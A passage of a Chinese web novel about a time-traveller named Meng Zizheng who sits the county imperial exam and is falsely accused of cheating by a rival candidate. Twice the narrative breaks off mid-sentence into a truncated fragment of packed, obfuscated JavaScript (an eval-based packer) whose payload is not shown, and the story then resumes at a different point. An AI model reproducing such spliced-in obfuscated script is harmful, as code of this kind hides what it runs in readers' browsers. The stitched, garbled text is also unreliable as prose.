进到贡院内部,分了许多个小隔间,找到自己的位置后,孟子筝就老实坐着了,他毕竟是知府儿子,虽说院试和知府没什么关系,可进场后离所有人都远远的,准没错。 两文的考察对他来说,没什么难的,在纪山的监督下,他连八次院试只考了三题的《孝经》都背熟了,不过这次考试居然还真考了一次。 对他来说难得是那一诗,这次的题目是“冬”。 看到这个字,孟子筝顿时就是两眼一发黑。 看吧,这就是压错题的下场,他这半年里,甚至连种菜都硬生生编了一首,愣是完美避开了正确答案。 孟子筝长叹一口气,成功得到了巡绰官一个警惕的眼神,老实安静下来了。 他烦躁的抓了抓头发,不小心勾了根发丝下来,垂在额前挡了视线,又只能小心翼翼的绕回发带上。 盯着冬字恨不得盯出个洞来。 实在没什么想法,小肚子又涨得狠,干脆用小桶背过身去上了个厕所,隔间虽然有三面挡板可以挡风,但是不隔音啊! 考个试真够难的,可要去恭房的话会被盖个黑泥印章,他还是继续尴尬吧。 解决完生理问题,又开始看考题了。 哎,怎么就不考种田呢。 孟子筝用力眨了几下双眼,清走多余的想法,正打算集中精力憋诗,他拿毛笔的动作忽地一滞。 对啊,虽然不考,但他可以硬扯啊,冬天又不是只能写冷、写下雪。 瑞雪还兆丰年呢,今年干旱,若是下雪能提供水分,滋润土地,低温还能杀虫,雪中的氮化物含量高,还可以增加土壤肥力! 天才!有了思路之后,就不用跟挤牙膏似的了。 好歹他这半年的书也没白背,还是积累了不少好用的字词,很快草稿就列好了。 不过意境之类的统统与他无关,他的风格就是朴实无华,希望阅卷人能透过他简单的文字看到他那颗希望百姓大丰收,过的越来越好的心。 考完一天下来,他就没觉得自己的膀胱这么好过,到天黑前出来,他总共就上了一次小厕。 除开担心会影响阅卷人判卷还有个原因就是实在太臭了! 他的位置距离恭房已经离得不近了,可顺风时偶尔还是能闻见那股味儿,还有人为了不被盖印章影响成绩就在号房里解决的! 噗噗噗的特别响,估计是紧张拉肚子。 他不必可免的产生了画面感,怪他想象力太好 这还是冷天,明年乡试可是八月份,正是炎热的时候,他都不敢想到时候会臭成什么样。 还有一年半,要不想办法改善一下科考上厕所的问题吧,可是目前来看用抽水系统肯定不现实。 干旱也不知道要持续到什么时候,而且现在也没有南水北调工程,北方一些地区遇上旱年连水都不够喝,也接不了自来水管道。 孟子筝心事重重的抱着考篮往外走。 “筝儿?” 孟子筝回过神,发现林淮和他娘正站着不远处等他,他娘紧锁眉头,一脸关切的看着他。 “筝儿走,咱回家补补,看你最近习书给瘦的,考试考不考好都不重要。” 明白过来宋玉筝的话,他娘估计是以为他方才的表情是因为没考好。 他柔软地笑笑,“娘,我方才只是在想别的,考试考完了,我就不会再想了,您放心。” “行,那我们回家。”宋玉筝这才放心的笑出来。 “诶等等!还有向扬呢。”孟子筝正准备上马车,突然想起来,还有个向扬没出来,差点儿给人忘了。 几人又站在马车前等了片刻,向扬出来了,面上带笑,看起来考的不错。 上了马车,刚坐下来,马车还未走起来,向扬就问道:“孟兄,你早时对我说的加油是何意思啊?” “啊?”孟子筝笑容一顿,以前考试考习惯了,每次考前室友都会互相道加油,倒是忘了这个时代还没这个词。 孟子筝沉思,想了一下怎么解释,“你看油灯,我们也要记得加油,他才会常亮对吧,所以对人说加油呢,就是希望你可以长久发光发亮的意思!” 向扬恍然大悟,“原来如此,孟兄想法果然精妙。” “啊哈,不妙不妙。”孟子筝讪笑, “孟兄还是谦虚了,那希望孟兄明日也加油?”向扬作揖。 “二位一起加油吧。”林淮忽然插进话头,也跟着来了一句。 这种看古代人互相加油的场景,孟子筝总有种说不清的尴尬感,他干笑着打断二人,“咱们还是共勉,共勉吧。” 奇怪的氛围中,总算到了家。 院试考试不让用油灯蜡烛,基本结束就是天暗了,在硬硬的木板上坐了一整天,孟子筝只想躺在特意被他多垫了几层棉花的床上睡一觉。 现在天气冷,晚上沐浴很容易着凉,平时他们都是下午洗的,明日还有复试,保守起见,孟子筝还是忍住了身上的难受,直接上床。 “你当真没事?我同你讲,那些阅卷人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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早早的给熬上后,就只用注意着锅底别被烧干就行。 望着天色,估摸着孟子筝也该出来了。 他便出发向贡院去了,虽说今日院试,但孟梁还是得老实任职,宋玉筝则是就近找了个酒楼等着孟子筝。 到达贡院外面时,他们来时的那辆马车已经等在了外面,应当是宋玉珍来了 贡院里,孟子筝誊抄完草稿上的内容放下笔的一瞬间,整个人都舒服了起来。 坐了一天的屁股也不疼了,腰也不酸了,拼命按耐才忍住没在考场上笑出来。 为了他的试卷安全,他提前将笔墨砚都收了起来,桌上单单只留了要交上去的答卷,免得不小心弄脏了他都没处哭去。 能一字不错的抄下来不容易啊,他精力比想答案时还集中。 全部准备好,就等走人了,孟子筝开始坐着发起呆来。 好不容易将时间磨到结束,巡绰官宣布可以离场了。 孟子筝兴奋的提起他的小篮子,脚步一跳一跳的就开始向外溜达。 “大人!我检举有人作弊!”身后的声音有些刺耳,引起了一阵骚动,原本要往外走的考生许多都停住了步伐想看看发生了何事。 孟子筝此刻归心似箭,瓜也懒得吃了,只想回去躺着,反正和他又没关系。 没管身后之事,他脚步未停,向外走去。 “孟子筝你站住!” 27. 第 27 章(倒v章节) “孟子筝你站住!”一道尖锐的声音大喊道。 忽然被这么一叫,吓得孟子筝一个激灵。 他转过身,给那位大红着脸表情狰狞的考生一个疑惑的眼神。 “说我吗?”孟子筝满脸问号。 看对方的衣着,好像是今日考试坐在他号房对面的那人,不过他也不确定,虽说他记忆力是不错,可他那敢东张西望啊,也就中途上厕所时无意中瞥了一眼。 巡绰官将周围停留着看热闹不肯离开的人赶走,“先把人给我压下。” 话音一落,孟子筝就被猛地按住了肩膀,他一个踉跄直接摔倒在地,刚觉出几分疼,又被大力拽了起来。 好在那位莫名诬陷他作弊的考生和他一个待遇,让他心里平衡了些。 哎,他都那么老实了,到底哪儿看出来他作弊的啊。 肩膀被死死攥住,那块肌肉一抽一抽的疼,估摸着回去得青了。 原本被他跨在胳膊上的考篮也被拿上,甚至夸张的将他写字的桌子椅子都一起带走了。 二人被巡绰官带到一处屋子里,看起来是接待客人用的前厅,虽然自己被压着跪下了,可这和孟府如出一辙的设计实在让人无法升起在被审讯的感觉。 他和那位考生就这么在地上跪着,今日监督他们的官员们则在旁边站着,若大的屋子里分明有不少人,可却意外的安静。 嗯,除了和他一起跪着的那位兄弟,也不知道是什么时候招惹到他了,一直对他怒目而视,因为离得近,还能听见对方磨牙的声音,咯吱咯吱的,听的他心里一阵刺挠。 想把他门牙拔了。 刚开年不久,天气依旧寒冷,跪地上膝盖更是冰凉,好在他们没等多久,学政就来了。 身上依旧穿着绯色的官袍,相比起这两日同他们宣布考题时相比,头上的展脚幞头倒是取了下来,看着少了几分严肃。 见到学政前来,身边站着的几个官员还未开口,那位考生倒是迫不及待的直了直上半身,“大人,这个孟子筝篮子里肯定有东西,我看着他很早就将东西全部收起来了,定是因为心里有鬼。” 这理由差点儿给他听笑了,什么强盗逻辑啊,谁考完试还留恋一下考场吗?难道不是写完就早早准备走人吗? 要不是院试不允许提前离场,他早跑了。 “孟子筝,你可有话说?” “大人,自可随意检查,草民问心无愧。”孟子筝跪在地上,直视着学政。 “大人,您定要好……” 一边的巡绰官呵止,“安静!” 随即将孟子筝的考篮呈了上去,“张大人,这便是考生孟子筝的考篮,您过目。” 学政当初众人的面,将里面的所有东西都拿了出来。 连他嫌干没吃完的切碎后的烙饼都给倒了出来,装水的陶罐更是难逃毒手。 同昨日在贡院门口见着的一个下场,被摔的粉碎,只是里面的水早已被他喝完了。 原本装的也不多,为了减少上厕所的频率,他基本上就只带了可以润润嗓子的水量,而且陶罐也不允许装太多,毕竟不像囊袋可以封住,陶罐很容易溅出水来。 到时再打湿了考篮中其他东西更是麻烦。 所有东西都被摊开摆在了地上,一目了然,任何夹带都无。 “桌椅、号房内查过了吗?” “回大人,我们全部带人看过了,一切正常。” “不可能!”身边跪着的考生尖声喊道,“那定是在他身上!对!他定是藏在身上了。” 如果不是面前坐着的是个三品大官,孟子筝真要问问身边这人:你谁啊? 怎么整地跟个恶毒反派似的,他还没考上秀才呢,是不是出来的有点儿早了。 亏他从昨日进入考场开始就那么慎重,生怕被人误会,结果来了个不动脑子直接无脑诬陷的。 孟子筝被提溜起来,开始一层一层的翻找他衣服中间是否有夹带。 他此时真是无语了,白眼都翻了一半就等着什么时候出去冲着对方将另外一半也翻了,出去之后一定要让这个人写公告道歉! 查着查着,他就差把里衣也扒下来了,前厅的门敞的很开,一阵阵冷风灌进来,这两日本就一直在屋外一动不动的坐着,此时被冷风这么一吹,孟子筝实在没憋住,打了个喷嚏。 “行了,把衣服穿上吧。”学政摆手示意还在他衣服间翻找的官员可以退开了。 “大人!” “噤声。” 不愧是大官啊,这个威压,分明声音一点都没有放大,可就是让人情不自禁的安静下来,不敢在作声。 “德峰县吕炎,并无证据便胡乱检举其他考生作弊,毁人清誉,实非君子所为,此次施杖刑二十,小惩大戒,下去吧。” “是!” 差役应声就上前拽住吕炎的胳膊往外拖。 “大人!张大人!” 吕炎在两名差役的手里不停挣扎,就在即将出门槛前,竟然真的硬生生挣开了差役的手,在地上扑腾着爬回了刚开始的位置。 “大人!这个孟子筝以前在德峰县就早早夸下海口说这次院试必定能中,他当初便那么笃定肯定有问题!” 孟子筝微微挑眉,居然还是跟他同县的。 “他那个爹也不是什么好东西 !当初在德峰县就胡乱判案,如今还当了知府,肯定帮着孟子筝偷题了!” 听见前半句时,孟子筝都想扇对方一巴掌了,让他看看到底谁才不是个好东西。 可听到完后半句,心脏紧缩了下,随即孟子筝嘴角都悄悄上扬了一点儿,这人真厉害。 太牛了。 看来确实没带脑子来,在专管院试与学官的提督学政面前,说有人来偷题,还偷成功了,敢说还是他敢说。 吕炎看起来十分兴奋,见其他人都不再说话,大概是以为他说对了,声音都更大了些,并且还开始分析起了他爹能用些什么法子偷到题。 从题目的经手人怀疑到张大人身边的人。 眼瞅着张大人的脸色越来越黑,孟子筝趁着周围人的注意力都在吕炎身上,一点一点的往边上挪了些,免得一会儿战火波及到他。 “住嘴!朝廷命官岂容尔等妄议!拉下去!除去其童生身份,五年内不得再次参考。”张文瑞被气的直接站了起来。 这孟梁虽说一直是个地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他的考篮没还给他,估计要留作当证物,此时他一身轻,就提着个亮着昏黄色光的灯笼。 刚出贡院的大门,就见到了不远处整整齐齐的站着一排人。 他爹她娘还有林淮自然是在的,孟远和向扬在也并不意外,没想到的是方延居然也在角落站着。 孟子筝停住脚步,松下一直紧绷的肩膀,淡淡笑开。 林淮估计是仗着腿长,比其他人都跑的快,眨眼就到了他面前。 “你这腿怎么了?”他沉声道:“受刑了?” “没有,就是跪久了腿有些麻。”孟子筝将手里的灯笼顺手递给林淮。 林淮清放下心来,方才见孟子筝一瘸一拐的从贡院出来,衣服凌乱,早上他亲自绑上的发带也松了,还以为他受刑了,这腿刚好不久,可不能折腾,别落下后遗症。 他熟练的背过身去蹲下,“上来。” “不用。” 林淮清干脆右臂往后一揽,将人按在了自己背上,“回去找大夫给你按按腿,晚上多放几个汤婆子暖暖。” “诶对,就这么办,孟远去请大夫。”宋玉筝符合道。 “到底发生何事了?”孟梁先忍不住问出声。 孟子筝便将大概的经过告知了几人。 方延大概是把一切情绪都写在脸上的人,此时听他说的已经被气得脸红脖子粗了,“我就说孟兄不会是这种人!” “这告示就该让他自己把自己骂一顿!” “你怎么同我爹娘在一块了?”孟子筝趴在林淮背上问道。